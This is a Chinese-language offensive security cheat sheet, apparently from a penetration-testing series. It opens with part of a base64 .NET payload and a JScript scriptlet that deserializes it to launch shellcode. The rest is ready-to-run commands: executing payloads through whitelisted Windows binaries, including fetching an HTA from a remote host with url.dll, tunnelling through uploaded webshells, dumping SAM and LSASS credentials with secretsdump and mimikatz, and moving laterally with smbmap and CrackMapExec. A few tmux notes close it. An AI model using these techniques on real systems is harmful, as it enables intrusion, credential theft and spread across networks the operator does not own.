"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"+
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"+
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"+
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAQAAAAGAAAgAAAAAAAAAAAAAAAAAAA"+
"AQABAAAAMAAAgAAAAAAAAAAAAAAAAAAAAQAAAAAASAAAAFhAAAA8AgAAAAAAAAAAAAA8AjQAAABW"+
"AFMAXwBWAEUAUgBTAEkATwBOAF8ASQBOAEYATwAAAAAAvQTv/gAAAQAAAAAAAAAAAAAAAAAAAAAA"+
"PwAAAAAAAAAAEAAAAgAAAAAAAAAAAAAAAAAAAAEQAAAABAFYAYQByAEYAaQBsAGUASQBuAGYAbwAA"+
"AAAAJAAEAAAAVAByAGEAbgBzAGwAYQB0AGkAbwBuAAAAAAAAAAALAEnAEAAAEAUwB0AHIAaQBuAGcA"+
"RgBpAGwAZQBJAG4AZgBvAAAAeAEAAAEAMAAwADAAMAAwADQAYgAwAAAALAACAAEARgBpAGwAZQBE"+
"AGUAcwBjAHIAaQBwAHQAaQBvAG4AAAAAACAAAAAwAAgAAQBGAGkAbABlAFYAZQByAHMAaQBvAG4A"+
"AAAAADAALgAwAC4AMAAuADAAAAA0AAkAAQBJAG4AdABlAHIAbgBhAGwATgBhAG0AZQAAADIAMgAy"+
"ADIALgBkAGwAbAAAAAAAKAACAAEATABlAGcAYQBsAEMAbwBwAHkAcgBpAGcAaAB0AAAAIAAAADwA"+
"CQABAE8AcgBpAGcAaQBuAGEAbABGAGkAbABlAG4AYQBtAGUAAAAyADIAMgAyAC4AZABsAGwAAAAA"+
"ADQACAABAFAAcgBvAGQAdQBjAHQAVgBlAHIAcwBpAG8AbgAAADAALgAwAC4AMAAuADAAAAA4AAgA"+
"AQBBAHMAcwBlAG0AYgBsAHkAIABWAGUAcgBzAGkAbwBuAAAAMAAuADAALgAwAC4AMAAAAAAAAAAA"+
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"+
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"+
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"+
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"+
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"+
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"+
"AAAAAAAAAAAAAAAAAAAAAAABDQAAAAQAAAAJFwAAAAkGAAAACRYAAAAGGgAAACdTeXN0ZW0uUmVm"+
"bGVjdGlvbi5Bc3NlbWJseSBMb2FkKEJ5dGVbXSkIAAAACgsA";


```
var entry_class = 'ShellCodeLauncher.Program';

try {
setversion();
var stm = base64ToStream(serialized_obj);
var fmt = new
ActiveXObject('System.Runtime.Serialization.Formatters.Binary.BinaryFormatter');

var al = new ActiveXObject('System.Collections.ArrayList');
var d = fmt.Deserialize_2(stm);
al.Add(undefined);
var o = d.DynamicInvoke(al.ToArray()).CreateInstance(entry_class);
} catch (e) {
debug(e.message);
}

]]>
</script>
</registration>
</scriptlet>
```

88. 基于白名单Ftp.exe执行payload第十九季

- Windows 2003 默认位置

```
C:\Windows\System32\ftp.exe
C:\Windows\SysWOW64\ftp.exe
```

- Windows 7 默认位置

```
C:\Windows\System32\ftp.exe
C:\Windows\SysWOW64\ftp.exe
```

- 配置攻击机msf

```
需设置参数 set AutoRunScript migrate -f
```

- 靶机执行

```
echo !C:\Users\John\Desktop\rev_x86_53_exe.exe > o &echo quit >> o &ftp -n -s:o
&del /F /Q o
```

89. 基于白名单Url.dll执行payload第十七季

- Windows 2003 默认位置

```
C:\Windows\System32\url.dll
C:\Windows\SysWOW64\url.dll
```

- Windows 7 默认位置

```
C:\Windows\System32\url.dll
C:\Windows\SysWOW64\url.dll
```

- 靶机执行

```
rundll32.exe url.dll,FileProtocolHandler
file://C:\Users\John\Desktop\Micropoor_url_dll.hta
```

- 同样可以调用url.dll下载payload

```
rundll32.exe url.dll,OpenURL http://192.168.1.4/Micropoor_url_dll.hta
```

- 附录：Micropoor_url_dll.hta

90. 基于白名单zipfldr.dll执行payload第十八季

- Windows 2003 默认位置

```
C:\Windows\System32\zipfldr.dll
C:\Windows\SysWOW64\zipfldr.dll
```

- Windows 7 默认位置

```
C:\Windows\System32\zipfldr.dll
C:\Windows\SysWOW64\zipfldr.dll
```

- 靶机执行

```
rundll32.exe zipfldr.dll,RouteTheCall \\192.168.1.119\share\rev_x86_53_exe.exe
```

七、代理

54. 基于Powershell做Socks 4-5代理

- Invoke-SocksProxy
  - 项目地址： https://github.com/p3nt4/Invoke-SocksProxy
  - 创建Socks 4/5代理

```
Import-Module .\Invoke-SocksProxy.psm1
Invoke-SocksProxy -bindPort 1234
```

  - TCP端口转发

```
Import-Module .\Invoke-SocksProxy.psm1
Invoke-PortFwd -bindPort 33389 -destHost 127.0.0.1 -destPort 3389
```

95. 基于Portfwd端口转发

- meterpreter下

```
portfwd add -l 33389 -r 192.168.1.119 -p 3389
portfwd add -l 30080 -r 192.168.1.119 -p 80
```

分别访问攻击机33389，30080，既等价访问靶机3389，80

96. HTTP隧道ABPTTS第一季

上传webshell之后，如果攻击机为**vps**，则 **-f** 需要填写**vps_ip:port/**目标机**:port**

```
python abpttsclient.py -c webshell/config.txt -u
"http://192.168.1.119/abptts.aspx" -f 192.168.1.5:33389/192.168.1.119:3389
```

本地访问`192.168.1.5:33389`即访问目标`3389`

98. HTTP隧道reGeorg第二季

```
python reGeorgSocksProxy.py -p 8080 -l 192.168.1.5 -u
http://192.168.1.119/tunnel.aspx
```

Windows下配合Proxifier

99. HTTP隧道Tunna第三季

```
python proxy.py -u http://192.168.1.119/conn.aspx -l 1234 -r 3389 -s - v
```

如果：没有出现“无法验证此远程计算机的身份，是否仍要连接？”

注册表键值： HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Servers 删除对应IP键值即可

100. HTTP隧道reDuh第四季

```
java -jar reDuhClient.jar http://192.168.1.119/reDuh.aspx
```

八、横向渗透

55. 与Smbmap结合攻击

- 支持传递哈希
- 文件上传/下载/删除
- 可枚举（可写共享，配合Metasploit）
- 远程命令执行
- 支持文件内容搜索
- 支持文件名匹配（可以自动下载）
- msf配合Smbmap攻击需要使用到sock4a模块

  `sock4a`配置好`1080`端口代理后，同时配置`proxychains`代理设置

  - 远程执行命令

  ```
  proxychains smbmap -u administrator -p 123456 -d workgroup -H 192.168.1.115
  -x 'net user'
  ```

  - 枚举目标机共享

  ```
  proxychains smbmap -u administrator -p 123456 -d workgroup -H 192.168.1.115
  -d ABC
  ```

56. 离线提取目标机hash

- reg save方式
  - reg save HKLM\SYSTEM sys.hiv
  - reg save HKLM\SAM sam.hiv
  - reg save hklm\security security.hiv
- 离线提权
  - `impacket`的`secretsdump.py`

```
python /root/impacket/examples/secretsdump.py -sam sam.hiv - security
security.hiv -system sys.hiv LOCAL
```

57-64. 高级持续渗透-后门

65. 离线提取目标机hash补充

- mimikatz离线导hash命令

```
mimikatz.exe "lsadump::sam /system:sys.hiv /sam:sam.hiv" exit
```

- mimikatz在线导hash命令

```
mimikatz.exe "log Micropoor.txt" "privilege::debug" "token::elevate"
"lsadump::sam" "exit"
```

- meterpreter

```
hashdump
```

```
load mimikatz
kerberos
```

```
mimikatz_command -f sekurlsa::searchPasswords
```

91. 从目标文件中做信息搜集第一季

- Exiftool

```
exiftool -lang zh-cn -a -u -g1 ./55e736d12f2eb9385716e513d8628535e4dd6fdc.jpg
```

93. 与CrackMapExec结合攻击

CrackMapExec弥补了MSF4下auxiliary，scanner模块下的Command执行方式，但MSF5已解决该 问题。在MSF4下，该框架针对后渗透的横向移动经常出现，虽然MSF5已解决该问题，但该框架在配合bloodhound与empire依然目前有一定优势

- 安装

```
 //Kali
 apt-get install crackmapexec
```

```
//作者推荐
apt-get install -y libssl-dev libffi-dev python-dev build-essential
pip install --user pipenv
git clone --recursive https://github.com/byt3bl33d3r/CrackMapExec
cd CrackMapExec && pipenv install
pipenv shell
python setup.py install
```

```
//Mac OSX
pip install --user crackmapexec
```

- 获取smb信息

```
cme smb 192.168.1.0/24
```

- 密码策略

```
cme smb 192.168.1.119 -u administrator -p '123456' --pass -pol
```

- 获取本地密码哈希

```
cme smb 192.168.1.119 -u administrator -p '123456' --sam
```

- 枚举组

```
cme smb 192.168.1.119 -u administrator -p '123456' --local-groups
```

- 枚举目标机disk

```
cme smb 192.168.1.6 -u administrator -p '123456' --disks
```

- 执行模式
  - mmcexec
  - smbexec
  - wmiexec(默认)
  - atexec
- 基于smbexec执行Command

```
cme smb 192.168.1.6 -u administrator -p '123456' --exec-method smbexec -x 'net
user'
```

- 基于dcom执行Command

```
cme smb 192.168.1.6 -u administrator -p '123456' --exec-method mmcexec -x
'whoami'
```

- 基于wmi执行Command

```
cme smb 192.168.1.6 -u administrator -p '123456' --exec-method wmiexec -x
'whoami'

cme smb 192.168.1.6 -u administrator -p '123456' -x 'whoami'  //-x 即采用默认方式
```

- 基于AT执行Command

```
cme smb 192.168.1.6 -u administrator -p '123456' --exec-method atexec -x 'calc'
```

九、 其它

36. 解决vps上ssh掉线

- TMUX

> Tmux是一个优秀的终端复用软件，类似GNU Screen，但来自于OpenBSD，采用BSD授权。使用它最直
>
> 观的好处就是，通过一个终端登录远程主机并运行tmux后，在其中可以开启多个控制台而无需再“浪
>
> 费”多余的终端来连接这台远程主机

> tmux new -s session1 新建会话
>
> ctrl+b d 退出会话，回到shell的终端环境 //tmux detach-client
>
> tmux ls 终端环境查看会话列表
>
> ctrl+b s 会话环境查看会话列表
>
> tmux a -t session1 从终端环境进入会话
>
> tmux kill-session -t session1 销毁会话
>
> tmux rename -t old_session_name new_session_name 重命名会话
>
> ctrl + b $ 重命名会话 (在会话环境中)